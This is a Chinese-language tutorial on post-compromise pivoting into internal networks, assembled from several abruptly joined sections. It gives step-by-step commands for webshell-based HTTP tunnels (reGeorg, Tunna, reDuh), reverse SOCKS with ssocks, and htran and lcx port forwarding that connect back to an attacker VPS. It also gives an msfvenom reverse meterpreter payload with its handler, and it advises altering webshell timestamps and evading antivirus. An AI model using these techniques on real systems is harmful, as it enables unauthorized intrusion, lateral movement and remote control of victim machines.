0x01 前言
    作用和netsh差不多,这里就不废话了,直接看操作,还是同样的情况,只不过你此时拿下的是边界的一台linux服务器,依然想通过这台机器直接去访问内网的其它机器

0x02 环境大致如下:

1
2
3

边界linux机器(centos 6.8en) 		ip:192.168.3.40(假设为目标机器的公网ip) 192.168.32.129(假设为目标的内网ip) 
要访问的内网windows机器(win 2008r2cn) 	ip:192.168.32.134 
攻击者机器(win7cn) 			ip:192.168.3.251

0x03 最终目的

1

通过边界的linux机器访问内网中的windows机器上的指定服务

0x04 具体过程如下,首先,编辑边界linux机器的路由转发配置文件,开启其路由转发功能

1
2

# sed -i '/net.ipv4.ip_forward/ s/\(.*= \).*/\11/' /etc/sysctl.conf
# cat /etc/sysctl.conf | grep "net.ipv4.ip_forward"

0x01 前言:
    除了前面提到的用一些端口转发工具来进行端口转发,其实windows系统自己也给我们提供了类似的功能,比如,其自带的防火墙管理工具netsh套件[确实非常实用],尤其碰到一些稍微畸形点的内网环境

0x02 先来假设这么一种情况
    当你搞定边界的一台windows机器以后,上去一看发现,机器上有两块网卡,一块外网卡,一块内网卡[先暂以正常的DMZ来讲],这时又你通过别的方式搞定了同内网的另一台windows机器,本来以为简单的种上马就可以走人了,但你发现马执行以后似乎什么都没发生,搞了半天,你才发现,原来这台内网机器根本不能连外网,说到这里,相必你也应该知道我要干啥了,没错,虽然内网的那台机器不能连外网,但它起码能跟边界的这台机器正常通信,这就够了,我们可以直接从外部通过边界这台机器来访问内网的那台不能连外网的机器


0x03 演示简单环境如下

1
2
3

目标的边界机器[win7en] 				ip: 192.168.3.212  [假设为目标公网ip] 192.168.32.132[目标内网ip]
目标内网的那台不能连外网的机器[win 2008r2cn] 	ip: 192.168.32.134 [目标内网ip]
外部的攻击者的机器[win7cn] 			ip: 192.168.3.251

0x04 要实现的目的很简单:

1
2

首先,可以确认的是,边界机器和攻击者机器通信正常,边界机器和目标内网的那台不能连外网的机器通信正常
现在,我想通过边界机器的某个端口去访问目标内网的那台不能上外网的机器的3389,下面是具体的操作步骤

关于使用http隧道代理脚本时,容易出现的一些错误及解决办法

0x01 如果是php程序,你可能需要先确保php.ini中的socket模块已正常开启并且可用,因为php中的socket函数要基于此模块,不过,reGeorg早已经提供了不再需要开启socket的代理脚本

0x02 有时候你在绑定某些端口会遇到socket无法建立连接的问题,不妨尝试换一下端口,比如:53,8080,443,只要不跟目标系统中的现有端口冲突即可,尽量用一些穿透性比较好的端口

0x03 有时还会遇到aspx 运行错误,看具体是什么错误,如果一眼解决不了,谷歌一下,解决办法肯定一大堆,比如:’Compilation Error’,可以尝试在代理脚本[即webshell]的当前所在目录,另外新建一个web.conf文件,一般也即可解决,文件具体内容如下:

1
2
3
4
5

<configuration>
  <system.web>
  <customErrors mode="Off"/>
  </system.web>
</configuration>

0x01 前言:
    abptts,一款基于ssl加密的http隧道工具,相对来讲还算稳定,就个人实际使用来说起码比regerog都要稳定一些,且全程通信数据加密,能一定程度上对抗取证检测,单就这一点来说,还是很赞的,不过,加不加密,它自己说的不算,还是老办法,拿wireshark自己耐心跑一遍,就一目了然了,尽量用事实说话嘛

0x02 首先,安装好工具所需的各种py依赖库:

1
2

# pip install pycrypto    加密库,整个通信数据加密基本都要靠这个库来实现
# pip install httplib2

reGeorg [基于py,实际渗透过程中用的相对较多,稳定性一般,不过,使用还是非常方便的,推荐]:

0x01 和前面都一样,先把代理[webshell]上传到目标的网站目录中再说,记得顺手改下webshell的时间戳,尝试访问该shell,返回正常后,即可本地执行绑定操作,如下

1

# python regerogsocksproxy.py -u "http://目标域名/tunnel.aspx" -p 绑定的本地端口

0x02 连接绑定好的本地端口,推荐用proxifier或者sockscap,然后往里面添加一些自己常用的内网渗透工具,就可以对目标进行正常的内网渗透了

0x03 实际渗透中,个人还是比较推荐用这个,比较稳定,使用也比较简单,不过,还是有些令人不太愉快的地方,待后期解决了,再单独拿出来说

Tunna [实际渗透中,不太推荐,不稳定,经常断,阻塞,基于py编写]

0x01 依然是先把代理端[webshell]上传到目标的网站目录中,并尝试访问该webshell,返回正常后,即可在本地执行下面的语句:

1
2
3

# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -r 远程机器上的指定端口[3389] -v 
# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -a 内网机器的ip -r 内网机器的指定端口 -v  
# python proxy.py -u "http://目标域名/conn.aspx" -l 要绑定的本地端口 -r 远程机器上的指定端口[22] -s[转发ssh服务需要加上此选项] -v

0x02 先连接刚才绑定到的本地端口,在尝试用mstsc,putty等工具进行连接

1

mstsc 127.0.0.1 绑定的本地端口

0x03 比较的不稳定,尤其是php脚本,已经不太兼容php5.3以后的版本了,而且还要开启某些模块(socket)支持,利用条件确实有点儿苛刻

0x04 另外,tunna已经有相应的msf模块,也可以选择直接把它加到msf中使用

关于http隧道:
    其实,所谓的http隧道[更专业的叫法 “80端口复用”],你暂时可以把它简单形象的理解成基于web端脚本实现的一个socks代理功能,只不过这个代理不用在目标端再新开一个端口而是直接复用在已有的端口(通常是web服务端口,由相应的webshell实现)上:

reduh[老牌的http隧道工具,基于java,所以你需要事先装下jre]

0x01 首先,把代理端[即webshell]上传到目标的网站目录中,并尝试访问,返回正常后,在本地执行:

1

# java -jar reduhclient.jar http://目标域名/reduh.php

0x02 开始绑定端口,建立隧道

1
2
3

# telnet 127.0.0.1 1010
[createTunnel]要绑定到本地哪个端口上[8088]:127.0.0.1:要绑定远程机器上的哪个端口[3389,22] 
[createTunnel]8088:127.0.0.1:3389

0x03 隧道建立成功后,即可使用 mstsc,putty 等工具连接到本地绑定的端口[此处是绑定到本地的8088],当你访问本地的8088就相当于访问目标机器的3389[你也可以换成22,以及你想代理的任何端口,前提是目标的这个端口必须先开了才行]

1
2

mstsc 127.0.0.1 8088
putty 127.0.0.1 8088

关于reduh:
    工具已经非常老了,应该是在很早之前,reduh的官网就已经发过相关声明,称reduh项目已经不再维护,现在已经被更好用的regerog所替代,不过,你要是实在没办法,还是可以尝试用下这个的,实际测试中,个人感觉reduh要比tunna还要好用一点,其实,所谓的好不好,跟目标实际环境和代码本身都有很大关系,这个也没必要非要分个好赖,适合自己的就是最好的,有兴趣可以仔细去详读一下工具代码

在不同平台下使用ssocks反向代理[linux内网中可能会用的比较多,当然,它一样也提供了相应的win版本]:

关于socks反向代理原理的简要说明:
    其实,socks反向代理的通信原理还是比较简单的,就是在控制端和目标端同时开放一个端口,作为两端机器之间通信的这么一个专属通道[有点儿类似管道],说的再形象一点,是这样,当控制端想访问目标内网中的其他的机器的某个端口,目标端就会帮忙把要访问的那个端口的数据拿过来,放到之前已经建立好的这条通道的端口上,然后,控制端直接到这个地方来取即可,有点儿类似中介,socket嘛,本来就是个管道

在linux中使用ssocks:
0x01 如果目标是linux机器,可能还需要你自己先编译安装下ssocks,步骤非常简单,如下,如果过程中有什么报错,仔细看下报的具体是什么错误,顺手解决下,如果是编译器或者依赖库的问题,按照相应的提示装上即可:

1
2
3
4

# tar -zxf ssocks-0.0.14.tar.gz
# cd ssocks-0.0.14
# ./configure && make && make install
# echo $?

0x02 先在本地机器上执行,一般都是你自己的vps,如果开了防火墙记得把该端口放开:

1

# rcsocks -l 1234 -p 1080 -vv

0x03 到目标机器上执行[自带台运行选项,实际渗透中可以把它加上]:

1

# rssocks -s  192.168.3.41(实际中可能是你vps的ip):1080 -vv

0x04 再回到自己本地通过各种socks代理工具,连到vps的socks代理的端口上,即可轻松访问目标内网中的资源

1
2
3

proxychains
proxifier
putty

0x05 从连接信息中我们看到了socks连接建立成功的提示,如下

在win中使用ssocks:

0x01 本地机器上执行,一般都是自己的vps,如果开了防火墙记得把该端口放开:

1

# rcsocks.exe -l 1234 -p 1080 -vv

0x02 到目标机器上执行[自带台运行选项,实际渗透中可以把它加上]:

1

# rssocks.exe -s  192.168.3.41(实际中可能是你vps的ip):1080 -vv

0x03 依然是回到自己本地通过各种socks代理工具,连到vps的socks代理的端口上,而后正常的访问目标内网资源即可

小结:
    这也是实际渗透过程个人比较推荐的内网代理方式,尤其当目标机器存在公网ip的时候,用这种方式进行内网渗透无疑是极好的,此工具基本是没有任何依赖,使用简单粗暴,相对来说也比较轻量,免杀就更不用说了[因为根本就不需要免杀],除此之外,还有很多其它优点,这里就不一一说了,大家自己多实践就会感受到了

htran 另一款要比lcx好用很多的端口转发及socks代理工具

1)首先,是最常规的端口转发功能:

0x01 首先,到vps上监听好指定的端口,意思是把本地的443端口流量转到本地的1234端口上

1

# htran -p -listen 443 1234

0x02 然后,回到目标机器上执行,意思就是把肉鸡的3389端口的流量转到vps的443端口上

1

# htran -p -slave 192.168.3.251[实际测试中应该是自己vps的ip] 443 192.168.32.134 3389

0x03 最后,再回到vps本地用指定的工具连接到最开始转出到的1234端口上,如下

1
2

mstsc: 127.0.0.1:1234
putty: 127.0.0.1 1234

2)其次,是相对比较实用的socks代理功能,让目标机器作为socks代理端,对目标内网进行渗透,不过这可能需要目标机器有个固定的公网ip,不然怎么练上去呢:

0x01 先在目标机器上安装并启动socks5服务

1
2
3

# HTran2.4.exe -install
# HTran2.4.exe -start
# htran -remove  不用时,卸掉即可

0x02 然后,回到自己的vps上先监听好等会要连回来的端口,这里的-s才表示的是启用socks代理,而-p单单只是进行口转发

1

# HTran2.4.exe -s -listen 1080 1234

0x03 上面都准备好以后,此时再回到目标机器上,开始和vps建立socks连接,如下

1

# HTran2.4.exe -s -connect 192.168.3.251[实际测试中应该是自己vps的ip] 1080

0x04 连接建立后,我们现在就可以回到我们自己本地的渗透系统中,安装好socskcap代理工具 [当然,你用别的socks客户端也一样],然后再工具设置中填写好vps的ip和socks代理的端口 [这里是1234这个端口],不过,要注意,如果你的vps开了防火墙,务必记得把这几个代理用到的端口都放开,要不然,数据是过不来的

0x05 最后,再把自己常用的一些内网渗透工具加到sockscap中,就可以对目标进行正常的内网渗透了,效果如下

关于htran:
    可能唯一的缺点还是需要免杀,工具也相对比较老了,2.4的源码应该早就放出来了,有兴趣可以down下来仔细分析下,个人觉得在实际测试中,它比lcx稍稳定一些,速度也还可以,确实是个很贴心的小工具

linux,win 平台下都有相应的已经编译好的版本,后期我会把自己用的工具都打包提供给大家,原理想必大家早已经非常清楚,其实本来就非常简单,所以这里就不废话了,简单使用如下

0x01 把来自外部的某个端口上的流量转到本地的某个端口上

首先,在自己的vps上执行监听准备:

1
2

# lcx -listen 监听来自外部的某个端口上的流量 转发到指定的本地端口上
# lcx -listen 443 1234  把来自外部的443端口的流量转到本地的1234端口上

而后,回到目标机器上去执行:

1
2
3

# lcx -slave 公网vps的ip  在vps上监听的端口  目标机器的ip 目标机器上指定的端口[通常是远程桌面或者ssh]
# lcx -slave 103.*.*.* 443 192.168.3.23 3389  把目标机器的3389端口的流量转发到自己vps的443端口上
# lcx -slave 103.*.*.* 443 192.168.3.23 22    把目标机器的22端口的流量转发到自己vps的443端口上

最后,再回到自己的vps上,看到连接正常建立,就可以用指定工具连接到目标机器上了:

1
2

mstsc: 127.0.0.1:1234  连目标的远程桌面
putty: 127.0.0.1 1234  连目标的ssh

此时当你在本地访问 127.0.0.1 的1234端口其实就相当于访问目标机器的rdp[3389端口]或者ssh[22端口]

关于lcx在linux中的用法,大同小异,只是参数不同而已,如下:

先在自己的vps上执行

1

# ./lcx -m 2 -p1 443 -h2 192.168.3.41[实际中可能是你vps的地址] -p2 1234  首先,还是在自己的vps上执行监听

而后回到目标机器上执行

1

# ./lcx -m 3 -h1 192.168.3.40[目标机器的ip] -p1 22 -h2 192.168.3.41[vps的ip] -p2 443 到目标机器上执行,把目标机器的22端口转到vps的443端口上

最后,再回到自己的vps上执行

1

# ssh root@127.0.0.1 -p 1234 观察到连接正常建立后,在vps上连接本地的1234端口实际连的就是目标机器[192.168.3.40]的22端口,效果如下

0x02 把来自外部的某个端口上的流量转到指定的其它机器的某个端口上,典型应用场景,把来自公网的meterpreter直接通过vps转到本地的msf中,流程大致如下:

1

# lcx -tran 来自外部的端口 指定机器的ip 指定机器上的端口

1),先把本地的kali连到vpn内网中[我是直接用自己的vps搭的vpn],因为等会儿要走vpn内网做转发,所以必须先连到vpn内网中,这是第一个比较关键的地方

此时再回到vps上ping下kali所在的vpn内网ip,确认kali和vps之间通过vpn内网通信没有任何问题

2),然后,回到本地的kali中开始生成payload,注意这里payload回连的ip要写自己vps的公网ip

1

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=*.*.*.*[payload的回连ip要设成vps的] LPORT=8080 -f exe -o /root/Desktop/shell.exe

3),payload生成好以后,就可以开始监听了

1
2
3
4
5

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.12.1(本机的vpn内网ip) 
msf exploit(handler) > set lport 8080
msf exploit(handler) > exploit -j

4),第二个关键的地方,到vps上去做下转发,意思是把来自外部的8080[其实是我们自己的payload的回连端口]端口的流量通过vpn内网转到kali的8080端口上

1

# lcx -tran 8080 172.16.12.1 8080

5),最后,把payload丢到目标上去执行,meterpreter被正常从公网弹回,稍微留意下这里的上线ip就知道,很显然,是通过vpn的内网ip过来的

关于lcx:
    需要免杀,对于简单的内网还能凑活,对于现在的一些场景已经不能很好的适用了,个人在实际内网渗透过程中基本用的不多 [基本就是用来转下meterpreter和beef什么的],都是些简单辅助性的用途,工具也确实已经有些年头了,工具源码网上也到处都是,有兴趣可以仔细研读下[如果想自己过免杀的话],现在已经有很多更好的替代品,不过,这里还是感谢前辈们,在那个时代留给我们的财富